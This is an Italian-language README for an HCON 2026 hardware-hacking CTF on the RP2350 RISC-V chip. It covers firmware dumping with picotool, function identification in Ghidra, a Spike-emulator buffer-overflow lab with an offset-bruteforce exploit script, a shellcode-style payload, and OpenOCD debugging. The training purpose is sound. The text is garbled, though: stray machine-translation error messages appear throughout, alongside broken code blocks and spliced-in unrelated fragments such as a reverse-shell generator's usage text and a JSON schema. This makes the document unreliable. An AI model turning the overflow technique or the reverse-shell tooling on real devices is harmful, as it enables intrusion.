# AVVERTENZA

Una delle sfide richiede il debug hardware. Se stai affrontando la sfida da casa (senza un compagno di squadra che abbia un'altra board), per risolverla dovrai anche acquistare questi due componenti. (Se non li acquisti, nessun problema—ma non potrai risolvere quella specifica sfida.)

- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html

# Informazioni sugli script

Gli strumenti inclusi in questo repository sono stati sviluppati da @b1n4ri0 per la community e specificamente per la HCON Hardware Hacking Challenge 2026.

# Sfruttare il processore RP2350 RISCV Hazard3 (@Wren6991) a 3 stadi RV32IMACZb* con supporto debug

RISCV Hazard3 è un processore RV32IMACZb* a 3 stadi con supporto debug. Viene utilizzato nel microcontrollore RP2350 presente sulla board HCON2026HWCTF.

# Estrarre il firmware RISCV Hazard3 con picotool

Estrarre il firmware dai dispositivi RP2350 con `picotool` è un processo semplice. In questa sezione imparerai come farlo in modo efficace.

Nota: `picotool` interagisce con i dispositivi RP2350 (e RP2040) solo quando sono in modalità BOOTSEL o se il firmware in esecuzione include il supporto USB stdio del Pico SDK.

## Compilazione di picotool

Installa gli strumenti di compilazione e le librerie necessari tramite il tuo gestore di pacchetti preferito.```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y

Clona i progetti `picotool` e `pico-sdk`, ci servono sia il tool stesso che l'SDK. Nota che `picotool` richiede `pico-sdk` per compilare correttamente.```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool

Per impostazione predefinita, l'accesso ai dispositivi USB richiede privilegi di root. Copiare il file delle regole udev per consentire l'esecuzione di `picotool` senza usare `sudo`.```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/ 

## Utilizzo del binario precompilato

Se preferisci saltare il processo di compilazione, puoi scaricare il binario precompilato dal [repository ufficiale](https://github.com/raspberrypi/pico-sdk-tools/releases).```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool

## Abilitare la modalità BOOTSEL su RP2350

Per eseguire operazioni come il dump del firmware, `picotool` richiede che il dispositivo sia in modalità BOOTSEL. Tuttavia, `picotool` può anche interagire con il dispositivo se il firmware attualmente in esecuzione include il supporto USB stdio del Pico SDK.

Di seguito, menzionerò diversi modi per attivare questa modalità. Scegli quello che sembra più adatto al tuo caso o semplicemente quello che funziona per te.

Se la tua scheda **non è in modalità BOOTSEL**, ma include il supporto USB stdio**,** vedrai un output come questo quando provi a eseguire i comandi `picotool`:```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.

but:

RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.

### Software che abilita BOOTSEL

Se il firmware del dispositivo è in esecuzione e dispone del supporto USB stdio, puoi forzarlo in modalità BOOTSEL senza toccare la scheda.```bash
./picotool reboot -uf

**Suggerimento:** Puoi eseguire comandi direttamente su un dispositivo in esecuzione senza riavviarlo manualmente prima, aggiungendo il flag `-f` al tuo comando. `picotool` gestirà il riavvio, eseguirà il comando e riavvierà tornando all'applicazione.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.

Program Information
 name:          hello_usb
 features:      USB stdin / stdout
 binary start:  0x10000000
 binary end:    0x10011d50
 target chip:   RP2350
 image type:    RISC-V

The device was asked to reboot back into application mode.

Questo output rivela dettagli essenziali come il nome del programma, il suo intervallo di memoria e l'architettura dell'immagine.

Ora, procediamo a estrarre il programma, creando una directory per memorizzare i file estratti.```bash
mkdir -p $HOME/hcon2026hwctf/

Questo singolo comando gestisce l'intero processo di estrazione. Forza l'RP2350 a riavviarsi in modalità BOOTSEL, legge il programma attualmente installato dalla memoria flash e lo salva come file binario grezzo. Per assicurarsi che l'estrazione sia corretta, rilegge i dati per verificare che il file estratto corrisponda esattamente al contenuto del chip.

Dovresti ottenere un output simile a questo:

``````bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.

Saving file:          [==============================]  100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash:      [==============================]  100%
  OK

The device was asked to reboot back into application mode.

Successivamente, clona il repository contenente le definizioni delle istruzioni aggiornate e sposta la nuova cartella `data` nella tua installazione di Ghidra:```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git

cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/

2. Copia il file script nella directory `ghidra_scripts` della tua installazione di Ghidra.```bash
cd hcon2026hwctf/GhidraScripts

cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts

2. Copia il file script nella directory `ghidra_scripts` della tua installazione di Ghidra.```bash
cd hcon2026hwctf/GhidraScripts

cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts

- **Installa le dipendenze**```bash
pip install pyghidra cmsis-svd

## Risoluzione dei problemi: import cmsis-svd

Se `SVD-Loader-RP2350.py` non riesce a trovare la libreria `cmsis-svd`, puoi installarla direttamente nell'interprete PyGhidra:

1. Nel **CodeBrowser**, vai su `Window > PyGhidra`.
2. Esegui il seguente frammento di codice:```python
import subprocess as s
import sys

s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])

git clone https://github.com/raspberrypi/pico-examples.git
cd pico-examples
mkdir build
cd build
```
### Raspberry Pi Pico Extension

Per utilizzare questi percorsi, deve essere installata l'estensione Raspberry Pi Pico per VS Code. Queste strutture di directory sono native dell'ambiente dell'estensione.

Una volta installata l'estensione, configura il tuo progetto selezionando **Board Type: Pico 2** e **Architecture (pico2): RISC-V**. La semplice creazione del progetto con queste impostazioni attiverà l'installazione di tutte le risorse necessarie. In questo caso non è richiesta alcuna compilazione aggiuntiva.

Utilizzeremo una configurazione specifica per l'RP2350 Hazard3, garantendo che simboli e formattazione corrispondano al binario della sfida.```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"
```
[No content provided in the INPUT section. Please provide the Markdown text to translate.]```bash
cmake -DPICO_PLATFORM=rp2350-riscv \
      -DPICO_BOARD=pico2 \
      -DPICO_COMPILER=pico_riscv_gcc \
      -DCMAKE_BUILD_TYPE=Debug \
      -DPICO_DEFAULT_BINARY_TYPE=copy_to_ram \
      -DPICO_STDIO_USB=1 \
      -DPICO_STDIO_UART=0 \
      -DCMAKE_C_FLAGS="-march=rv32ima_zicsr_zifencei_zba_zbb_zbs_zbkb_zca_zcb_zcmp -mabi=ilp32 -O0 -g3 -fno-omit-frame-pointer -fno-lto" \
      -DCMAKE_EXE_LINKER_FLAGS="-Wl,--print-memory-usage" \
      ..
```
INPUT è vuoto: non è stato fornito alcun contenuto da tradurre per questo chunk.```bash
make -j$(nproc) -k
```
Una volta completata la compilazione, raggruppa tutti i file `.elf` in una directory dedicata per un'analisi più semplice:```bash
mkdir ../sdk-elfs
find . -name "*.elf" -exec cp --backup=numbered {} ../sdk-elfs/ \;
```
### Analisi automatizzata con Ghidra Headless

Per elaborare il grande volume di file generati, l'uso della modalità headless di Ghidra è il metodo più efficiente. Assicurati di eseguire l'analisi puntando al progetto in cui hai già configurato il binario della challenge:```bash
# Run $GHIDRA_INSTALL_DIR/support/analyzeHeadless to check the usage
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"
```
Se preferisci ridurre i tempi di analisi, elabora almeno questi quattro file, che contengono la maggior parte delle funzioni SDK presenti nella sfida:

- `tinyusb_dev_cdc_msc.elf`
- `multicore_runner_queue.elf`
- `hello_gpio_irq.elf`
- `hello_timer.elf`

## Analisi con BSim

Quando l'identificazione tradizionale delle firme (FID) non è sufficiente, BSim è l'alternativa più potente. A differenza di altri metodi, BSim si basa sul comportamento e sulla struttura del codice, consentendo confronti tra architetture diverse e ignorando le variazioni causate dai livelli di ottimizzazione.

### Configurazione del database BSim

Sebbene si possa utilizzare la GUI, eseguire la configurazione tramite terminale è più efficiente per elaborare più binari.```bash
cd $GHIDRA_INSTALL_DIR/support
```
Crea il file del database H2:```bash
# Run ./bsim to check the usage
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize
```
Estrai le firme dai binari già analizzati nel progetto Ghidra:```bash
mkdir ~/bsim_sigs
./bsim generatesigs ghidra:$HOME/hcon2026hwctf/hwctf2026 ~/bsim_sigs --bsim file:/<db_directory_path>/pico_db
```
Termina il processo salvando le firme generate nel nostro database:```bash
./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs
```
### Integrazione nella GUI di Ghidra

Una volta creato il database, collegalo al Code Browser:

1. Vai alla scheda `BSim > Manage Servers`.
2. Fai clic sull'`icona "+" verde` e seleziona il tipo `File`.
3. Sfoglia e seleziona il database appena creato.
4. Fai clic su `Dismiss` per chiudere la finestra.

### Identificazione delle funzioni

Esistono diversi modi per cercare corrispondenze con BSim; il seguente è il più consigliato:

- Nel pannello del decompilatore, fai clic con il tasto destro sul **nome della funzione**, quindi `BSim > Search functions`.
- Se non ottieni risultati, seleziona l'opzione in fondo al menu BSim per aprire la finestra delle impostazioni. Qui puoi ridurre la `Similarity Threshold` per trovare funzioni che hanno subito lievi variazioni durante la compilazione.

**Suggerimento**: Se sei certo che una funzione sia corretta, ma le sue funzioni interne ("figlie") rimangono senza nome, usa la finestra dei risultati BSim:

- Seleziona la funzione padre e premi `Shift + C` per aprire il confronto.
- Fai clic con il tasto destro e seleziona `Compare matching callees`.
- Rinominala con la firma corretta.

## Analisi con Version Tracking

Se l'opzione BSim non soddisfa le tue esigenze, puoi usare **Version Tracking**.

### Creazione della sessione

Nella finestra principale di Ghidra, individua l'`icona delle impronte blu` all'estrema destra della `Tool Chest` per aprire lo strumento Version Tracking.

1. Fai clic sull'`icona delle impronte blu` nel menu in alto a sinistra per creare una nuova sessione.
2. Assegna un nome descrittivo (ad es. `tinyusb_dev_cdc_msc`).
3. Seleziona il file ELF dell'SDK come sorgente.
4. Seleziona il binario della challenge come destinazione.
5. Procedi attraverso i controlli preliminari. Puoi ignorare avvisi minori purché non si verifichino errori critici. Fai clic su `Finish`.

### Esecuzione dei correlatori

Si apriranno tre finestre: Source Tool, Destination Tool e la console di Version Tracking.
Nella finestra Version Tracking:

1. Fai clic sull'`icona "+" verde` (Aggiungi correlazioni aggiuntive).
2. Seleziona tutti i correlatori disponibili. Anche se alcuni possono sembrare ridondanti, consentire a Ghidra di eseguirli tutti massimizza le possibilità di successo.
3. Mantieni i valori di configurazione predefiniti; potrai modificarli nelle sessioni successive se avrai bisogno di maggiore precisione.
4. Fai clic su `Finish` e attendi la conclusione del processo. In generale, gli algoritmi basati su BSim offriranno i risultati più robusti.

### Strategie di validazione

Una volta ottenuti i risultati di Version Tracking, esistono due metodologie principali per applicare le modifiche al binario della challenge:

1. Analisi manuale di ogni corrispondenza per garantire un'elevata precisione.
2. Accettazione automatica delle funzioni che superano uno specifico livello di confidenza, effettuando una revisione manuale solo sui risultati dubbi.

Per implementare la seconda strategia, è essenziale filtrare i risultati per concentrarsi sulle corrispondenze più forti:

- Nella barra di ricerca `Filter`, digita "Function" per visualizzare solo le correlazioni tra funzioni.
- **Raccomandazione tecnica:** Si suggerisce di accettare in blocco le funzioni con un punteggio di confidenza superiore a **0.8**, verificando sempre l'algoritmo utilizzato per la correlazione.

### Applicazione delle corrispondenze

Per confermare e trasferire i nomi al binario di destinazione, usa l'`icona del segno di spunta verde` (situata tra le icone della bandiera e del disco).

### Suggerimenti per l'analisi

- È comune trovare funzioni in conflitto. In questi casi, ignora l'assegnazione automatica e valida manualmente che le definizioni siano coerenti con il contesto della challenge.
- Cerca di risolvere tutto in **un'unica sessione**. Se non è possibile, crea sessioni indipendenti per diversi ELF dell'SDK e applica le modifiche in modo incrementale.
- Se identifichi una funzione con totale certezza ma i correlatori non riescono a rilevare le funzioni adiacenti, controlla la loro posizione nel file ELF originale. A causa della struttura di build, è altamente probabile che la funzione che stai cercando si trovi a un indirizzo relativo simile nel binario della challenge.

A seconda del tuo stile di analisi, puoi optare per due approcci:

1. Iniziare direttamente con il reverse engineering di `main`. Man mano che incontri funzioni sconosciute, usa **BSim** per identificarle.
2. Applicare prima **FIDB** per stabilire le funzioni di base, quindi eseguire **Version Tracker** con il correlatore BSim per nominare l'intero SDK in una volta.
  - [Tutorial FID](https://www.tarlogic.com/blog/esp32-firmware-using-ghidra-fidb/)

Scegli il metodo che funziona meglio per te.

Maggiori informazioni su BSim:
- [Tutorial BSim](https://ghidra.re/ghidra_docs/GhidraClass/BSim/README.html)

# Impara a sfruttare un classico Buffer Overflow su RISCV Hazard3 usando l'emulatore Spike

## Compilare Spike```
sudo apt-get update
sudo apt-get install git build-essential autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler libboost-regex-dev libboost-system-dev
``` 
<INSTALL_SCRIPT> per iniziare.

## Compilazione
Puoi compilare autonomamente con:```
cd /home/dreg 
mkdir RISCV
export RISCV=/home/dreg/RISCV
export PATH=$PATH:$RISCV/bin
```
I don't see any content to translate. The input section is empty. Please provide the actual chunk content so I can translate it from English to Italian.```
cd /home/dreg/RISCV
git clone https://github.com/riscv/riscv-pk
git clone https://github.com/riscv/riscv-isa-sim
git clone --recursive https://github.com/riscv/riscv-gnu-toolchain
```
[shell nc per Windows]

## Caratteristiche e Funzionalità dello Strumento
- `GenReverseShellEvilWinRMAgent`: Il generatore Sh4Do0WOP svolge un ruolo cruciale nella creazione dell'agente che gestisce le connessioni quando si generano payload di reverse shell. Questo agente è progettato per gestire la comunicazione tra il sistema bersaglio e la macchina dell'attaccante. Sfruttando le capacità di Evil-WinRM, il generatore garantisce una reverse shell robusta e affidabile.

```
usage: Sh4Do0WOP.py [-h] -H HOST --nc-port NC_PORT [-r] [-l LHOST]

Reverse shell generator. Evil-WinRM connection and nc shell.

options:
  -h, --help           show this help message and exit
  -H HOST, --host HOST  IP address of remote host
  --nc-port NC_PORT     Port for nc shell
  -r, --reverse         Victim's machine connects to our nc.
  -l LHOST, --lhost LHOST
                        IP address for reverse shell.

"type": "string",
    "enum": [
      "none",
      "hidden",
      "login",
      "additional-password"
    ]
  },
  "prefix": {```
cd /home/dreg/RISCV/riscv-pk
mkdir build
cd build
../configure --prefix=$RISCV --host=riscv32-unknown-elf
make
make install

### Testa se funziona

poc.c (/home/dreg/RISCV/poc.c)```
#include <stdio.h>
int main()
{
    printf("Hello Dreg RISCV!\n");
    return 0;
}

Esegui poc su Spike```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc

Congratulazioni, hai compilato ed eseguito con successo un programma RISCV utilizzando l'emulatore Spike!

## Come usare il debugger Spike

Debug della funzione main:```
cd /home/dreg/RISCV/
/home/dreg/RISCV/bin/riscv32-unknown-elf-objdump -D poc

[No content provided for translation.]```
cd /home/dreg/RISCV/
/home/dreg/RISCV/bin/spike -d --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc 

Ora sei all'inizio della funzione main, premi Invio per eseguire le istruzioni una per una.```
(spike) 
core   0: 0x0001016a (0x00001141) c.addi  sp, -16
(spike) 
core   0: 0x0001016c (0x0000c606) c.swsp  ra, 12(sp)
(spike) 
core   0: 0x0001016e (0x0000c422) c.swsp  s0, 8(sp)
(spike) 
core   0: 0x00010170 (0x00000800) c.addi4spn s0, sp, 16

dotest.sh``` 
#!/usr/bin/env bash

# https://github.com/therealdreg/hcon2026hwctf
# by Dreg - @therealdreg

set -x

RISCV=/home/dreg/RISCV
PATH=$PATH:$RISCV/bin
ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs"
ABI="ilp32"

CC="riscv32-unknown-elf-gcc"
PK="$RISCV/riscv32-unknown-elf/bin/pk"
ISA_SPIKE="$ARCH"

$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test

file test

spike --isa=$ISA_SPIKE "$PK" test AA

echo

spike --isa=$ISA_SPIKE "$PK" test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Come puoi vedere, abbiamo sovraccaricato il buffer con successo e controllato il program counter (pc) per puntare a 0x41414140, che corrisponde a 'AAAA' in ASCII.

Ora creiamo il payload poc-exploit CRAP per reindirizzare l'esecuzione alla funzione func_impossible.

Per creare il payload exploit, dobbiamo determinare l'offset corretto per sovrascrivere l'indirizzo di ritorno e quindi aggiungere l'indirizzo della funzione func_impossible.

xpl.sh```
#!/usr/bin/env bash

# https://github.com/therealdreg/hcon2026hwctf
# by Dreg - @therealdreg
# Bruteforce offset script for RISCV Hazard3 buffer overflow

set -e

RISCV=/home/dreg/RISCV
PATH=$PATH:$RISCV/bin
ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs"
ABI="ilp32"

CC="riscv32-unknown-elf-gcc"
PK="$RISCV/riscv32-unknown-elf/bin/pk"
ISA_SPIKE="$ARCH"

echo "[+] Compiling test.c..."
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test

echo "[+] Getting func_impossible address..."
FUNC_ADDR=$(spike --isa=$ISA_SPIKE "$PK" test AA 2>&1 | grep "func_impossible address:" | awk '{print $3}')

if [ -z "$FUNC_ADDR" ]; then
    echo "[-] Error: Could not get func_impossible address"
    exit 1
fi

echo "[+] func_impossible address: $FUNC_ADDR"

# Convert hex address to decimal and then to little-endian bytes
ADDR_DEC=$((FUNC_ADDR))
BYTE1=$(printf '%02x' $((ADDR_DEC & 0xFF)))
BYTE2=$(printf '%02x' $(((ADDR_DEC >> 8) & 0xFF)))
BYTE3=$(printf '%02x' $(((ADDR_DEC >> 16) & 0xFF)))
BYTE4=$(printf '%02x' $(((ADDR_DEC >> 24) & 0xFF)))

echo "[+] Address bytes (little-endian): \\x$BYTE1 \\x$BYTE2 \\x$BYTE3 \\x$BYTE4"

echo "[+] Starting bruteforce for offset..."

for OFFSET in {10..100}; do
    echo "[*] Testing offset: $OFFSET"
    
    # Create payload with OFFSET bytes of 'A' + target address in little-endian
    python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin
    
    # Run spike and capture output
    OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)
    
    # Check if func_impossible was executed
    if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
        echo ""
        echo "[+] SUCCESS! Offset found: $OFFSET"
        echo "[+] Exploit payload saved to: exploit_payload.bin"
        echo "[+] Target address: $FUNC_ADDR"
        echo ""
        echo "[+] Output:"
        echo "$OUTPUT"
        echo ""
        echo "[+] To reproduce:"
        SPIKE_PATH=$(which spike)
        echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
        exit 0
    fi
done

echo "[-] Offset not found in range 10-100"
exit 1

hexdump -C exploit_payload.bin```
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 e2 01 01  00                       |AAAAA....|

I don't see any source text in the chunk. If you can paste the actual content for chunk 121, I'll translate it into Italian right away.```
# Create workspace
cd && mkdir ~/PAYLOAD

Configura il progetto specificamente per l'RP2350 utilizzando l'architettura RISC-V. Nota che definiamo le versioni della piattaforma e della toolchain per garantire la compatibilità.

File: `~/PAYLOAD/CMakeLists.txt````
set(PICO_PLATFORM rp2350-riscv)
set(PICO_BOARD pico2 CACHE STRING "Board type")
set(sdkVersion 2.2.0)
set(toolchainVersion RISCV_ZCB_RPI_2_2_0_3)

cmake_minimum_required(VERSION 3.13...3.27)

include(pico-sdk/pico_sdk_init.cmake)

project(my_project)

pico_sdk_init()

add_executable(poc
    poc.c
)

target_link_libraries(poc pico_stdlib)

pico_enable_stdio_usb(poc 1)
pico_enable_stdio_uart(poc 0)

pico_add_extra_outputs(poc)

sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);

while (1)
{
	sleep_ms(500);
	gpio_put(25, 0);
	printf("HI Dreg!\n");
	sleep_ms(500);
	onled();
}
return 0;

Compila il progetto e ispeziona il binario risultante.```
cd ~/PAYLOAD/
rm -rf build/ && cmake -S . -B build && make -C build -j

Se controlliamo il disassembly, possiamo vedere come il compilatore gestisce le chiamate di funzione.

File: `~/PAYLOAD/build/poc.dis````
....
1000012e <onled>:
1000012e:       1141                    addi    sp,sp,-16
10000130:       c606                    sw      ra,12(sp)
10000132:       c422                    sw      s0,8(sp)
10000134:       0800                    addi    s0,sp,16
10000136:       4585                    li      a1,1
10000138:       4565                    li      a0,25
1000013a:       2031                    jal     10000146 <gpio_put>
1000013c:       0001                    nop
1000013e:       40b2                    lw      ra,12(sp)
10000140:       4422                    lw      s0,8(sp)
10000142:       0141                    addi    sp,sp,16
10000144:       8082                    ret
....
10000146 <gpio_put>:
10000146:       28a01533                bset    a0,zero,a0
1000014a:       d00007b7                lui     a5,0xd0000
1000014e:       c199                    beqz    a1,10000154 <gpio_put+0xe>
10000150:       cf88                    sw      a0,24(a5)
10000152:       8082                    ret
10000154:       d388                    sw      a0,32(a5)
10000156:       8082                    ret
....

"addi sp, sp, -16\n\t"
"sw   ra, 12(sp)\n\t"
"sw   s0,  8(sp)\n\t"
"addi s0, sp, 16\n\t"


"li   a1, 1\n\t"
"li   a0, 25\n\t"


"bset a0, zero, a0\n\t"   
"lui  a5, 0xd0000\n\t"     
"beqz a1, 1f\n\t"          
"sw   a0, 24(a5)\n\t"      
"j    2f\n\t"
"1:\n\t"
"sw   a0, 32(a5)\n\t"      
"2:\n\t"

"nop\n\t"

"lw   ra, 12(sp)\n\t"
"lw   s0,  8(sp)\n\t"
"addi sp, sp, 16\n\t"
"ret\n\t"

sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);

while (1)
{
	sleep_ms(500);
	gpio_put(25, 0);
	printf("HI Dreg!\n");
	sleep_ms(500);
	onled();
}
return 0;

Ora il disassembly mostra che la funzione è ora completamente autonoma:

File: `~/PAYLOAD/build/poc_with_asm.dis````
1000012e <onled>:
1000012e:       1141                    addi    sp,sp,-16
10000130:       c606                    sw      ra,12(sp)
10000132:       c422                    sw      s0,8(sp)
10000134:       0800                    addi    s0,sp,16
10000136:       4585                    li      a1,1
10000138:       4565                    li      a0,25
1000013a:       28a01533                bset    a0,zero,a0
1000013e:       d00007b7                lui     a5,0xd0000
10000142:       c199                    beqz    a1,10000148 <onled+0x1a>
10000144:       cf88                    sw      a0,24(a5)
10000146:       a011                    j       1000014a <onled+0x1c>
10000148:       d388                    sw      a0,32(a5)
1000014a:       0001                    nop
1000014c:       40b2                    lw      ra,12(sp)
1000014e:       4422                    lw      s0,8(sp)
10000150:       0141                    addi    sp,sp,16
10000152:       8082                    ret
10000154:       0001                    nop

sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);

while (1)
{
	sleep_ms(500);
	gpio_put(25, 0);
	printf("HI Dreg!\n");
	sleep_ms(500);
	((void (*)(void))(void*)payload)();
}
return 0;

After building, we can verify that the payload is correctly mapped in memory

File: `~/PAYLOAD/build/poc_payload_asm.dis````
20000e74 <payload>:
20000e74:       1141 c606 c422 0800 4585 4565 1533 28a0     A..."....EeE3..(
20000e84:       07b7 d000 c199 cf88 a011 d388 0001 40b2     ...............@
20000e94:       4422 0141 8082 0001 0000 0000               "DA.........

/etc/udev/rules.d/99-openocd.rules```
# Sample udev rules for OpenOCD and Raspberry Pi / common debug probes
# Copy (as root) to /etc/udev/rules.d/99-openocd.rules and reload udev.
# Choose MODE/GROUP according to your security policy. Using GROUP="plugdev" and MODE="0660" is safer than 0666.
# Ensure your user is in the chosen group (e.g. plugdev or dialout).

# Raspberry Pi Pico in BOOTSEL (UF2 mass-storage + HID)
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0003", GROUP="plugdev", MODE="0660"

# Raspberry Pi Debug Probe (CMSIS-DAP) composite interface
# (VID 2e8a, PID 000c) Provides CMSIS-DAP and UART CDC.
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="000c", GROUP="plugdev", MODE="0660"
# Optional: allow tty device of Debug Probe (UART) for dialout group
SUBSYSTEM=="tty", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="000c", GROUP="dialout", MODE="0660"

# Picoprobe (RP2040 running picoprobe firmware)
# Often appears as VID 2e8a PID 0004
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0004", GROUP="plugdev", MODE="0660"

# Generic Arm DAPLink devices (mbed) - vendor 0d28
SUBSYSTEM=="usb", ATTR{idVendor}=="0d28", GROUP="plugdev", MODE="0660"

# ST-Link V2/V3 (STMicroelectronics)
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3748", GROUP="plugdev", MODE="0660"  # ST-Link V2
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="374b", GROUP="plugdev", MODE="0660"  # ST-Link V2-1
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3752", GROUP="plugdev", MODE="0660"  # ST-Link V3

# SEGGER J-Link (example common VID/PID)
SUBSYSTEM=="usb", ATTR{idVendor}=="1366", GROUP="plugdev", MODE="0660"

# FTDI-based adapters (optional; restrict if needed)
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", GROUP="plugdev", MODE="0660"

# CMSIS-DAP HID interface sometimes enumerates under hidraw; ensure access if needed
KERNEL=="hidraw*", ATTRS{idVendor}=="2e8a", MODE="0660", GROUP="plugdev"
KERNEL=="hidraw*", ATTRS{idVendor}=="0d28", MODE="0660", GROUP="plugdev"

# After copying: sudo udevadm control --reload-rules && sudo udevadm trigger
# Unplug/replug devices or run: sudo udevadm trigger -v -c add -s usb

# Verify: ls -l /dev/hidraw* /dev/ttyACM* ; lsusb -v -d 2e8a:000c
# Test OpenOCD without sudo: openocd -f interface/cmsis-dap.cfg -f target/rp2040.cfg

Per prima cosa, devi flashare un firmware RISCV .uf2 sulla scheda target. Dato che la CTF usa firmware RISCV, questo passaggio non è necessario. E comunque, vuoi eseguire il debug di quel firmware!

Converti una scheda RP2350 in una scheda Hardware-Debugger con questo firmware: https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2

Collega la scheda hardware debugger alla scheda target

![](https://assets.kitploit.com/production/public/readmes/7385/6171648e3f42a1ca17a78f243ffc65c1496867d635b561dbb688240cef65ce61.jpg)

Collega RISCV-openocd```
cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts

I don't see any content in the input chunk to translate. Please provide the Markdown content for chunk 153.```
Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15)
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.org/doc/doxygen/bugs.html
Info : [rp2350.rv0] Hardware thread awareness created
Info : [rp2350.rv1] Hardware thread awareness created
ocd_process_reset_inner
 rv0 
adapter speed: 5000 kHz
force hard breakpoints
Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729
Info : CMSIS-DAP: SWD supported
Info : CMSIS-DAP: Atomic commands supported
Info : CMSIS-DAP: Test domain timer supported
Info : CMSIS-DAP: FW Version = 2.0.0
Info : CMSIS-DAP: Interface Initialised (SWD)
Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0
Info : CMSIS-DAP: Interface ready
Info : clock speed 5000 kHz
Info : SWD DPIDR 0x4c013477
Info : [rp2350.rv0] datacount=1 progbufsize=2
Info : [rp2350.rv0] Disabling abstract command reads from CSRs.
Info : [rp2350.rv0] Disabling abstract command writes to CSRs.
Info : [rp2350.rv0] Core 0 could not be made part of halt group 1.
Info : [rp2350.rv0] Examined RISC-V core
Info : [rp2350.rv0]  XLEN=32, misa=0x40901105
Info : [rp2350.rv0] Examination succeed
Info : [rp2350.rv1] datacount=1 progbufsize=2
Info : [rp2350.rv1] Disabling abstract command reads from CSRs.
Info : [rp2350.rv1] Disabling abstract command writes to CSRs.
Info : [rp2350.rv1] Core 1 could not be made part of halt group 1.
Info : [rp2350.rv1] Examined RISC-V core
Info : [rp2350.rv1]  XLEN=32, misa=0x40901105
Info : [rp2350.rv1] Examination succeed
Info : [rp2350.rv0] starting gdb server on 3333
Info : Listening on port 3333 for gdb connections
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections

I don't see any content to translate in the input. Please provide the chunk text you'd like translated.```
Remote debugging using localhost:3333
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0x20001d56 in ?? ()
rp2350.rv0 halted due to breakpoint.
rp2350.rv1 halted due to debug-request.
